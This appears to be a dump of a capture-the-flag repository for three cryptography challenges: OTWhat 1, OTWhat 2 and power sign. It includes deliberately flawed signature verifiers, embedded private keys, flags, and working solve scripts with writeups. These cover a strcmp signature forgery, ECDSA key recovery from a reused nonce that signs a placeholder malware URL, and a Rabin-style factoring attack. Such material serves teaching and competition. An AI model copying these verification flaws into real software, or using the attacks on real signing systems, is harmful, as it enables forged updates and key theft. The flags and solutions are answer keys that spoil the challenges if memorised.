rmytIJP4jZbLsPnmEgTL8xinQZO9JtOjoIpdkZhJDHoxQiqe1wJvA1EaR29ijfat
nid9TvnONn4WrLZp46Sydg2VvJIvnCsYHr9kHuaL7HYsfDCu4QKCAQEAyV02k5J/
SN2Vk9GabkVaIop4odeSiaZ9KACS4qLHd8cm86KNycvlN+5ERGBVqDhu5vPTuMm2
yw8TAxiS2/9lIM7NHfbdIecznmpf23dgYovOwQXuc7c/8ICUnPuWVcYndXAq5pck
EDU7Aq0siX3m0u13SuUBNbq1WPeYoAFMM3x1jumIEFTkfCHjEAMw09Lt0DERhPeG
JLkGX4/8C+wMj3Ul1937P+/aqR4v4ywaWeCe1vhFcn5Hs9xYlYKow3BVgBz3ZISo
N6fbdFK6yzgymQg7oZuFMQ8qLR7EW5TcSNusVECaMYWhhMkClVrUuOArCZbyNA5b
KAZY482d+rH0jQKCAQEAyE1Pttqjm6trIKsyP40fAy0MnMPhOBye+VQ8PDcD5lrW
0NrQjhY6+PSoYfbiLHcV8DENj7iYAX2kSRs7X7IuMKunoPqDbwO96xYSfMxL/qJ6
UyJipH5NcxRR84PJl0SQYQMzC+WWDQqKmRiQUeQVwddwdqNOLnC84C8k7GWoaAOe
cbtJHuDOUA6aIIoSeH6ITX1xX1DCEoBPuBXh4ao2+PWVX5oXl/UyZKw5iWu3Y14l
HB5wJYabiDUXu9uZJHvgUFqT3PDr/ttLqYBFw6QKWxZEmwYTkvFKO3Ui7iALbuta
0+1tSkHPV1TfY6JcLEVZvAzfXeI5tBg+Ab5VGHxDDQKCAQBSdRZFRgdTelGnL3zy
zPmFDXkqpRE/xuqXd+yuXAQcm3Pq7tTrHtCln69a5KwO79USRCSeFhQBgRHDAcwZ
xLLPxX+fVpjlKj0sENliELdqg1/OETS9M/w96xlwU2ITi8pav+0BckD1VibtCKcl
QmZEV7Oy+qYNL4DVhsZ8NyvSJZQqSp1KOsk5v9Kwmu3iwAxcZcuLzKSk4xOmDFsl
MqtOD6XIiQE7BGhhOphXiZbc2SuSUiZ2JRoNoByyVMfxCE4q4TG5es07xUQLlVki
oMevfPyWSA45scEOqvuzmPi/6Rzff3jk8JjcvEePi5tyfXGCQsq54GsZr8e0uV2I
7Fh9AoIBAADHhDri6OYPKbCL2fszUl6Ry03E2Vh9jATOVhmp4SMBUXqoj00uOvaD
BTC0ZDbmE7jGiBX6EuVWltAOAhIiQFnCITnYH7DL4+5JPLMtnFIWUcGHDbk0IJsF
BjibV6p2AtXNzGIMd6P/WYC0/sLCz27cprxfcEtv9twscslUr+4PrYslvmgXWdYn
6GOeBepgG6mphkpnpwmpZCYEN8fIAMTBN96SW+skchjALs0hFSqW0DAm0irjNjG2
eywo85SXwsytPYwLh++K7OVw8VSMi9nE4Wl1AZh9xdsrXoJsr36z/bt7XgR+8w6U
7vWVSSSG9I1tw2S7H5xax8r78ZrRyPUCggEAUFjmakcPRjqrVYUK/IdL6W4tLUr5
6PJPH/g5M8tP5qXdPiW+5jD+NmpsYnYMO/15sxCfV82+lQNAfcYchP0mwMdUTT41
SccqLfqZAg9/keunL3LVmjMP32s8CzywsCdaLrqYumzAJxZqfmOFWdP1sKITic26
W3poLi9/80iKQL+xuaR+WYHa5BO8k/ZQwhXnFL48up2bgg8MtpVE7GCwOKfvY5Et
a0y6VTbbcW1JeDlcbu/3JleVGMgMUdXpLiYtSQc2pjDehn05gd4nNc5YA4z765QS
TJ3rgLpPLvpNQ1YoP3LMWkSxyveSBbKDYzzyfiFK6Pa+qOVw1wX75aq/QA==
-----END RSA PRIVATE KEY-----


================================================
FILE: crypto/otwhat-1/challenge.yml
================================================
version: "0.1"
id: otwhat-1
name: OTWhat 1
category: crypto
description: |
  We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware?

  Author: nullableVoid*#7225 

connection_info: ${url}

tags:
  - easy

flags:
  - DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}


================================================
FILE: crypto/otwhat-1/solve/solve.py
================================================
import sys
import requests
import re
import random
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA3_512
from base64 import b64encode

key = RSA.import_key(re.search(r'-----BEGIN PUBLIC KEY-----(.*)-----END PUBLIC KEY-----', requests.get(f"https://{sys.argv[1]}/update.cgi").text, flags=re.S)[0])

hash_found = False

url = b""

while not hash_found:
    padding = random.randbytes(2)
    url = b"https://EVILCODE/" + padding
    digest = SHA3_512.new(url).digest()
    hash_found = digest[0] == 0

print(url)

forged_signature = random.randbytes(512)
while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0:
    forged_signature = random.randbytes(512)

print(b64encode(forged_signature))

print(requests.post(f"https://{sys.argv[1]}/update.cgi", data={"url": url.decode('latin1'), "signature": b64encode(forged_signature).decode()}).text)


================================================
FILE: crypto/otwhat-1/solve/writeup.md
================================================
As the flag shows, this is a known signing failure of early versions of the Wii software.

The first mistake is the use of `strcmp`, as this C function considers strings, it terminates at a null byte as C strings are null-terminated.
The attack exploits this by having the actual hash and the hash from the signature start with a null byte, such that according to `strcmp`, both "strings" are zero-length, and are hence equivalent.

```
while not hash_found:
    padding = randbytes(2)
    url = "https://EVILCODE/" + padding
    digest = SHA3_512(url)
    hash_found = digest[0] == 0
```

The player is expected to derive the hash function by analysing the sample signature provided by the web app; the public key is in the HTML source, and decrypted signature carries padding, and then a DER-encoded hash indicated to be SHA3-512.


Forging a signature would be difficult if not for the second mistake; there are no checks to see if the decrypted signature has valid padding. This is alluded to in the "debug" section of the HTML source code:
```
update.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = ...
```
Meaning, we just need a signature, such that s ^ e mod n has the 448th byte as zero.
```
forged_signature = random.randbytes(256)
while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0:
    forged_signature = random.randbytes(256)
```


================================================
FILE: crypto/otwhat-2/Dockerfile
================================================
FROM tiangolo/uwsgi-nginx-flask:python3.8

ENV LISTEN_PORT 1337

EXPOSE 1337

RUN pip3 install pycryptodome

COPY challenge/app/main.py /app
COPY challenge/app/secp256r1.key /app
COPY challenge/app/update.log /app


================================================
FILE: crypto/otwhat-2/README.md
================================================
# OTWhat 2

**Category:** Crypto

**Difficulty:** Medium

**Author:** nullableVoid\*#7225

"We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response."


================================================
FILE: crypto/otwhat-2/challenge/app/main.py
================================================
from flask import Flask, request, redirect, url_for
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA3_512
from base64 import b64decode
app = Flask(__name__)

with open("secp256r1.key") as f:
    key = ECC.import_key(f.read())
    verifier = DSS.new(key, 'fips-186-3', 'der')

log = []
with open("update.log") as f:
    for event in f:
        log.append(event.split(" "))

@app.route("/update.cgi", methods=['GET', 'POST'])
def update():
    output = (
        "<style>"
        "table, th, td {"
        "    border: 1px solid black;"
        "    border-collapse: collapse;"
        "}"
        "</style>"
    )
    output += (
       f'<form action="{url_for("update")}" method="post">\n'
        '    <label for="url">URL: </label>\n'
       f'    <input type="text" name="url" id="url" required>\n'
        '    <label for="signature">Signature (Base64): </label>\n'
       f'    <input type="text" name="signature" id="signature" required>\n'
        '    <input type="submit" value="Update">'
        '</form>\n'
        '<br>\n'
    )

    if request.method == "POST":
        url = request.form.get('url')
        hash = SHA3_512.new(url.encode('latin1'))
        signature = request.form.get('signature')
        try:
            verifier.verify(hash, b64decode(signature))
            if url.startswith("https://GOODCODE/"):
                output += "Update successful<br>\n"
            elif url.startswith("https://EVILCODE/"):
                output += "Update successful<br>\n"
                output += "<pre>RCE POPPED! You have earned a trophy: Public Private Keys\nDUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}</pre><br>\n"
            else:
                output += "Update failed<br>\n"
        except ValueError as e:
            print(e)
            output += "Invalid signature<br>\n"

    output += "Update audit log:<br>\n"
    output += (
        '<table>\n'
        '    <tr>'
        '        <th>Update URL</th>'
        '        <th>ECDSA signature</th>'
        '    </tr>'
    )
    for event in log:
        output += "    <tr>\n"
        for column in event:
            output +=  "    <td>\n"
            output += f"        {column}\n"
            output +=  "    </td>\n"
        output += "    </tr>\n"
    output += "</table>\n"

    output += '<!-- DEBUG\n'
    if request.method == "POST":
        output += "URL hash: " + SHA3_512.new(url.encode('latin1')).hexdigest() + "\n"
    output += '-->'
    return output


@app.route("/")
def root():
    return redirect(url_for('update'))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=1337)


================================================
FILE: crypto/otwhat-2/challenge/app/secp256r1.key
================================================
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIN4TO0+AfeX2d4OnxsG863ibIWVtwtjWdlmTChJQnSkToAoGCCqGSM49
AwEHoUQDQgAEaSLgjOOtncCtdsHgz75f1e80IbIEa2I9/IE3men8kYtZwTRWpYrK
Br5TKke2Z+QzDn4ZcrRdAmh+H8/Zbw4kNw==
-----END EC PRIVATE KEY-----


================================================
FILE: crypto/otwhat-2/challenge/app/update.log
================================================
https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018 MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA=
https://GOODCODE/update/4d4b2429f62ded41b075fcd0f0528c3b4cbd281494f04f93697dae7e1e5562f3 MEQCIGLKyLXEGqqprGMgZC7ZcJysCKSP0wbvRUQ++1I/H0O1AiBkf/x4XMsLoHq6VUWZaDOs4J2ZU2DXWFqhyJ5+72zg/g==
https://GOODCODE/update/3dced7a6fe020797c7bf1e5a08a576b777aa10a8816850a1fb6661d5c97081fb MEQCIBLpxSLhwVY7xD41tUgzYjzraXxUETO01DWcuYG1oluGAiB5CkYhYlvcTXpgSTb/avuuNFo9cEK04+OsqSx6DY1vzg==
https://GOODCODE/update/4469f20adeeadcc700b97da48b21f143ce524ed338754471ef2638a3921b461c MEQCIEXuMldMbZ2Arz0CQgwJoEendtNRxAoG5XnVkfcEc2yMAiA+FpL/JC8kMxchpfaTImvLpRVWE4rTK6GgNQLBZOQIPw==
https://GOODCODE/update/380fde2d3c3c28b87fabba0728ab548713823f362914ed85cfa43baeddaeff16 MEYCIQCbkzxkYSed+cO6F3EaoBF1uh1uBojdCq0EjFUyxBPyLAIhALzNUWhc2/JSjHAyUklmOgPcw98CkApS5+TvPaz6zYc2
https://GOODCODE/update/80d786fdd1a65421fd1fb43cf39edbec91f6c3dbcb94a509dc772e3f36966c1f MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhAMngUbr1aw1jjBmzr+pGSzo0F0jsNxjHY0NZvhzS5RDn
https://GOODCODE/update/3387677bc29d24ac5072d9b25bbc49971418ee938971a13c92d7c64e03b5c9b8 MEQCIDtlg/jov1uweEYV6TYMwqp59L28AplsK+p1wBOVy/G1AiB6aEEf5i8cANK77UIrAUPxdQeaWPc1dhkbB7CkyGzzhg==
https://GOODCODE/update/65f3f974b29b04c6f9186084fba8470b3d5fa8cdd4461e0ce110573d19ee0a3b MEUCICjG/d2NXFhL1Ow8dJbqy/50P7KPgWH+BxCUUHAUGmmsAiEAyrq4wGx9Vfbo1TLltseRVRiAsImRE9u+7Z9xfb6BY1c=
https://GOODCODE/update/9209e22a576ea90d3ccd38435095f5c9b4729f3624c52169f3d0a861250bc958 MEYCIQDh+I/CsJFTGl1Ocdy/oKvXCPJcXhRIxYk+TMH3cYqVsQIhANnezlyV7osSfpIr5F1zJdeHVQGi9l8y1ZdrFS0L1QFV
https://GOODCODE/update/c30f4d19422b374a7624f364d245ef208847c1f19d5d939acba777ccda6e79db MEQCIE835xvwnLWPuigxyxunD9K3T3enFx1ptLbW5Fo64xRqAiAS3kilsPL/uESCYO6ModsTui/M1zb77yXw5+DvWG2Wgg==
https://GOODCODE/update/0f763be9b51eb80c732108b9da5a4e3110565604e6693141caf28c7ffc3ae509 MEYCIQCnWKUzpH1NoQ/PMQfh3ezJIbkfHhhzLh8w9Y9tSxI6LQIhAJt9R7a996lzpFVjoREFfjxV7+98Ff4Bp+DHPy1OkEa0
https://GOODCODE/update/e29faae8cd5dddf2098581a0b6a7023f6e81dd83afd284488400c5a5731d228e MEUCIQDpalsTIHHoJExe/K/nFxP65CDtPpBvPwTKDLfXMbN7tAIgThZjvBAW0Y/1VCPNGAsBOcJGYK+4DzKvpZda7wQguoo=
https://GOODCODE/update/403fa90dbe63c3374b71e57e6bf02c57dd8bcc730edec9b4f64213d2b9e048b6 MEQCIECGFB050hcAMVdEbifHGCBWf/RbGaW+LzMC1oStTjwIAiAjgUO03H6KoVoFHaUjjMSXN1CoDpeyECjv6DemvAbG5g==
https://GOODCODE/update/5cd5a39511980526236f50bd2a36ef6520f88ea3cfcd8d064467c8e64b563cbe MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhALRF93QCEXTVsPCtITYnNpXQ2dM33YvrHhfK9t4P1VGN
https://GOODCODE/update/a4e62ce498a676179e739c1e5346049a0ba69805ecf1e16d26b2defd3f6f6931 MEYCIQCJOv4ySbAeecUF2NKLAGzM3oemf4drCp0DSphf75MvVQIhAP/IhK0yYOvnKsYq/kKJN+8NBZwwSpv6qLuqRSpUT1tB
https://GOODCODE/update/f8442ff7e69b88edf9fc4d5ee48967d72602ed7e811c1164cfba69ab46ce8a32 MEYCIQDy5voOPCbpBS7BbnMbr8xO/Ddq4/XH/0oaIx7akii2LAIhAMdPoN9zBpXwQ5xfixaZSd59QHmyHDDQRhLDky6axSfc


================================================
FILE: crypto/otwhat-2/challenge/generate_audit.py
================================================
from Crypto.PublicKey import ECC
from Crypto.Hash import SHA3_512
from Crypto.Signature import DSS
from Crypto.Util import asn1
import base64
import random

with open("app/secp256r1.key") as f:
    key = ECC.import_key(f.read())
    signer = DSS.new(key, 'fips-186-3', 'der')

prefix = "https://GOODCODE/update/"
urls = [prefix + random.randbytes(32).hex() for i in range(16)]

duplicate_indices = [random.randint(0, 15), random.randint(0, 15)]
while duplicate_indices[0] == duplicate_indices[1]:
    duplicate_indices = [random.randint(0, 15), random.randint(0, 15)]

urls = [
    (url, signer.sign(SHA3_512.new(url.encode())))
    if i not in duplicate_indices else
    (url,)
    for i, url in enumerate(urls)]

k = random.randbytes(256)
def fixed_rng(l):
    print(k[:l])
    return k[:l]

vulnerable_signer = DSS.new(key, 'fips-186-3', 'der', fixed_rng)

for i in duplicate_indices:
    url, = urls[i]
    urls[i] = (url, vulnerable_signer.sign(SHA3_512.new(url.encode())))

print(k)
print(duplicate_indices)
with open("app/update.log", "w") as f:
    for url, sig in urls:
        f.write(f"{url} {base64.b64encode(sig).decode()}\n")


================================================
FILE: crypto/otwhat-2/challenge.yml
================================================
version: "0.1"
id: otwhat-2
name: OTWhat 2
category: crypto
description: |
  "We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response."

  Author: nullableVoid*#7225 

connection_info: ${url}

tags:
  - medium

flags:
  - DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}


================================================
FILE: crypto/otwhat-2/solve/solve.py
================================================
import sys
import requests
import re
from bs4 import BeautifulSoup
import base64
from Crypto.Hash import SHA3_512
from Crypto.Util import asn1
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from base64 import b64encode

soup = BeautifulSoup(
    requests.get(f"http://{sys.argv[1]}/update.cgi").text, "lxml"
)

signatures = []
for row in soup.select("tr"):
    cells = row.select("td")
    if cells:
        signatures.append(
            (
                cells[0].text.strip(),
                list(
                    asn1.DerSequence().decode(base64.b64decode(cells[1].text.strip()))
                ),
            )
        )

duplicates = []
seen = {}
for i, signature in enumerate(signatures):
    url = signature[0]
    r, s = signature[1]
    if r in seen:
        duplicates = [(url, s), seen[r]]
        break

    seen[r] = (url, s)


print(duplicates)

zs = [
    int.from_bytes(SHA3_512.new(d[0].encode()).digest(), "big") >> 256
    for d in duplicates
]
ss = [d[1] for d in duplicates]
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
k = ((zs[0] - zs[1]) * pow(ss[0] - ss[1], -1, n)) % n
da = (((ss[0] * k) - zs[0]) * pow(int(r), -1, n)) % n
k = ECC.construct(curve="secp256r1", d=da)

forged_signature = DSS.new(k, "fips-186-3", "der").sign(
    SHA3_512.new(b"https://EVILCODE/")
)

print(b64encode(forged_signature).decode())

result = requests.post(
    f"https://{sys.argv[1]}/update.cgi",
    data={
        "url": "https://EVILCODE/",
        "signature": b64encode(forged_signature).decode(),
    },
).text

print(re.search(r"DUCTF\{.*\}", result)[0])


================================================
FILE: crypto/otwhat-2/solve/writeup.md
================================================
As the flag heavily references the OG talk, this is a known cryptographic failure of PS3 signed software, with the use of a static k.

In order to recover the private key, two signatures with identical `r` and the order of the curve used is required.
The web service provides an "Update audit log", providing update URLs and correlating OEM signatures. The signatures are PEM-encoded ASN.1 sequences containing just two integers, r and s.
Once the player has identified signatures with an identical `r`, they must also identify the hashing algorithm used so that they recover the `z` (leftmost bits of a digest).
The HTML source has a `DEBUG` section providing the resulting hash digest, which is 512-bit. After identifying the hash to be 512-bit, the player can then recover the private key.

Note: calculations below are done in modulo `n`, where `n` is the order of the P-256 curve.
The two `z` variables must be recovered by using the hashing algorithm and taking its leftmost 256 bits:
```
bytes_to_long(SHA3_512(url)) >> 256
```
These `z` variables can then be used with the two `s` variables from the identified signatures to recover the nonce `k`:
```
k = (z1 - z2) / (s1 - s2)
```
The private key `d` can now be calculated using one of signatures and its `k`:
```
d = ((s * k) - z) / r
```

All the player has to do now is specify the scalar `d` when constructing a `secp256r1` key, and then sign the URL `https://EVILCODE/` using ECDSA.


================================================
FILE: crypto/power-sign/Dockerfile
================================================
FROM sagemath/sagemath:9.1

ENV DEBIAN_FRONTEND=noninteractive
RUN sudo apt-get update \
    && sudo apt-get install -y socat --fix-missing \
    && sudo rm -r /var/lib/apt/lists/*

COPY ./challenge/power-sign.sage /home/ctf/chal/chal.sage
COPY ./challenge/flag.txt /home/ctf/chal/
WORKDIR /home/ctf/chal
ENTRYPOINT sudo socat -dd TCP4-LISTEN:1337,fork,reuseaddr EXEC:"sage chal.sage"



================================================
FILE: crypto/power-sign/README.md
================================================
# power sign

**Category:** crypto

**Difficulty:** hard

**Author:** joseph#8210

You know the drill. Forge a signature, get the flag.

**Attached files:**
- ./challenge/power-sign.sage (sha256: 7d3ecc8561600b4b7f61b94af135fd50caf55c353b4f8b935ae126492a687446)


================================================
FILE: crypto/power-sign/challenge/flag.txt
================================================
DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}


================================================
FILE: crypto/power-sign/challenge/power-sign.sage
================================================
#!/usr/bin/env sage

proof.arithmetic(False) # just makes things faster

def get_3m4_prime(N):
    while True:
        p = random_prime(2^N - 1, lbound=2^(N-1))
        if p % 4 == 3:
            return p

def generate_key(L, n, m):
    p = get_3m4_prime(L//2)
    q = get_3m4_prime(L//2)
    N = p*q
    r = next_prime(N)
    F.<x> = PolynomialRing(GF(r))
    K = F.quo(F.irreducible_element(n))
    return (K, m), N, (p, q)

def H(params, msg, u):
    K, m = params
    r, z = K.characteristic(), K.gens()[0]
    h = 0
    while msg > 0:
        h *= z
        h += msg % r
        msg //= r
    h += z*u
    for _ in range(m):
        h ^= r
    assert len(list(h)) != 0
    return int(h[0])

def sign(params, privkey, msg):
    p, q = privkey
    u = 1
    while True:
        c = H(params, msg, u) % (p*q)
        if legendre_symbol(c, p) == legendre_symbol(c, q) == 1:
            break
        u += 1
    xp = pow(c, (p+1)//4, p)
    xq = pow(c, (q+1)//4, q)
    x = crt([int(xp), int(xq)], [p, q])
    return x, u

def verify(params, pubkey, msg, sig):
    N = pubkey
    x, u = sig
    c = H(params, msg, u)
    return x^2 % N == c % N

def main():
    print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!')
    FLAG = open('./flag.txt', 'r').read().strip()

    L, n, m = 1024, 15, 3
    params, pubkey, privkey = generate_key(L, n, m)
    print('N:', pubkey)

    msg = int(input('message (in hex): '), 16)
    if msg < pubkey^m:
        print('That message is too small!')
        exit()
    if msg > pubkey^n:
        print('That message is too big!')
        exit()
    x, u = sign(params, privkey, msg)
    print('x:', x)
    print('u:', u)

    auth_msg = randint(1, pubkey^5)
    print('Now sign', hex(auth_msg))
    x = int(input('x: '))
    u = int(input('u: '))

    if verify(params, pubkey, auth_msg, (x, u)):
        print(FLAG)
    else:
        print('Incorrect!')

if __name__ == '__main__':
    main()


================================================
FILE: crypto/power-sign/challenge.yml
================================================
version: "0.1"
id: power-sign
name: power sign
category: crypto
description: >
  You know the drill. Forge a signature, get the flag.


  Author: joseph#8210

connection_info: nc ${host} ${port}

tags:
  - hard

files:
  - ./challenge/power-sign.sage

flags:
  - DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}


================================================
FILE: crypto/power-sign/docker-compose.yml
================================================
version: '3'
services:
  power-sign: # challenge name
    build: .
    ports:
      - "1337:1337" # local:container
    privileged: true


================================================
FILE: crypto/power-sign/solve/solv.sage
================================================
import os
os.environ['PWNLIB_NOTERM'] = 'True'
from pwn import *
from parse import parse

proof.arithmetic(False)

def H(params, msg, u):
    K, m = params
    r, z = K.characteristic(), K.gens()[0]
    h = 0
    while msg > 0:
        h *= z
        h += msg % r
        msg //= r
    h += z*u
    for _ in range(m):
        h ^= r
    return int(h.polynomial()[0])

def sign(params, privkey, msg):
    p, q = privkey
    u = 1
    while True:
        c = H(params, msg, u) % (p*q)
        if c != 0 and legendre_symbol(c, p) == legendre_symbol(c, q) == 1:
            break
        u += 1
    xp = pow(c, (p+1)//4, p)
    xq = pow(c, (q+1)//4, q)
    x = crt([int(xp), int(xq)], [p, q])
    return x, u

# context.log_level = 'debug'
# conn = process('../challenge/power-sign.sage')
conn = remote('0.0.0.0', 1337)
conn.recvline()
N = list(parse('N: {:d}\n', conn.recvline().decode()))[0]

n, m = 15, 3
r = next_prime(N)
F = GF(r)
K.<zK> = F.extension(n)
E = K.subfield(m, 'zE')
zE = E.gens()[0]

e0 = int(K(zE).polynomial()[0])
s = randint(1, N)
s2 = s^2 % N
k = K(inverse_mod(e0, r) * s2 * zE) - zK
y = sum(int(a)*r^i for i, a in enumerate(k.polynomial().coefficients(sparse=False)[::-1]))

conn.sendlineafter('message (in hex): ', hex(y))
x = list(parse('x: {:d}\n', conn.recvline().decode()))[0]
u = list(parse('u: {:d}\n', conn.recvline().decode()))[0]

if x == s or x == -s % N:
    print('attack failed... try again')
    exit()

p = gcd(s - x, N)
q = N//p

auth_msg = list(parse('Now sign {:d}\n', conn.recvline().decode()))[0]
x, u = sign((K, m), (p, q), auth_msg)
conn.sendlineafter('x: ', str(x))
conn.sendlineafter('u: ', str(u))

print(conn.recvline().decode())


================================================
FILE: crypto/power-sign/solve/writeup.ipynb
================================================
{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "84581558",
   "metadata": {},
   "source": [
    "## Challenge Overview\n",
    "\n",
    "We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.\n",
    "\n",
    "The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \\equiv H(m, u) \\pmod N$ holds.\n",
    "\n",
    "In the challenge, the primes generated are of the form $p \\equiv 3 \\pmod 4$. This is done because if $p$ is a prime such that $p \\equiv 3 \\pmod 4$, then if a square root of $a \\in \\{ 0, \\ldots, p-1 \\}$ exists, it can be easily computed as $\\pm a^{\\frac{p+1}{4}} \\mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.\n",
    "\n",
    "## Security of Rabin Signatures\n",
    "\n",
    "Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can \"forge\" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \\equiv m \\pmod N$.\n",
    "\n",
    "More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \\mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \\neq \\pm x \\pmod N$, then we have\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    x^2 &\\equiv y^2 \\pmod N \\\\\n",
    "    \\implies x^2 - y^2 &\\equiv 0 \\pmod N \\\\\n",
    "    \\implies x^2 - y^2 &= kN \\quad \\text{for some $k$} \\\\\n",
    "    \\implies (x-y)(x+y) &= kN\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "so $\\gcd(x-y, N)$ reveals a nontrivial factor of $N$.\n",
    "\n",
    "## The Hash Function\n",
    "\n",
    "This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.\n",
    "\n",
    "We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.\n",
    "\n",
    "Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \\mathbb{F}_{r^n} \\cong \\mathbb{F}_r[x]/(f)$ of $\\mathbb{F}_r$, where $f \\in \\mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\\{ 1, z, z^2, \\ldots, z^{n-1} \\}$ is basis for $K$ when viewed as an $n$-dimensional $\\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}$ where $a_i \\in \\mathbb{F}_r$.\n",
    "\n",
    "The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:\n",
    "\n",
    "$$\n",
    "M = M_0 + M_1 r + M_2 r^2 + \\cdots + M_k r^k\n",
    "$$\n",
    "\n",
    "where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing\n",
    "\n",
    "$$\n",
    "h = M_k + M_{k-1} z + M_{k-2} z^2 + \\cdots + M_0 z^k\n",
    "$$\n",
    "\n",
    "To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as\n",
    "\n",
    "$$\n",
    "(h + uz)^{r^m} = a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}\n",
    "$$\n",
    "\n",
    "The output is $a_0$.\n",
    "\n",
    "## Choosing a Message to be Signed\n",
    "\n",
    "After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.\n",
    "\n",
    "If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \\mod N) r$. The hash function will convert this to $h = (s^2 \\mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \\mod N$ since all elements $a \\in \\mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.\n",
    "\n",
    "Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\\mathbb{F}_r$. We have\n",
    "\n",
    "$$\n",
    "H(M, u) = (h + uz)^{r^m}\n",
    "$$\n",
    "\n",
    "where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \\circ g$ where\n",
    "\n",
    "$$\n",
    "g(M, u) = h + uz \\qquad f(x) = x^{r^m}\n",
    "$$\n",
    "\n",
    "The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy\n",
    "\n",
    "$$\n",
    "f(x) = x \\implies x^{r^m} = x \\implies x^{r^m} - x = 0\n",
    "$$\n",
    "\n",
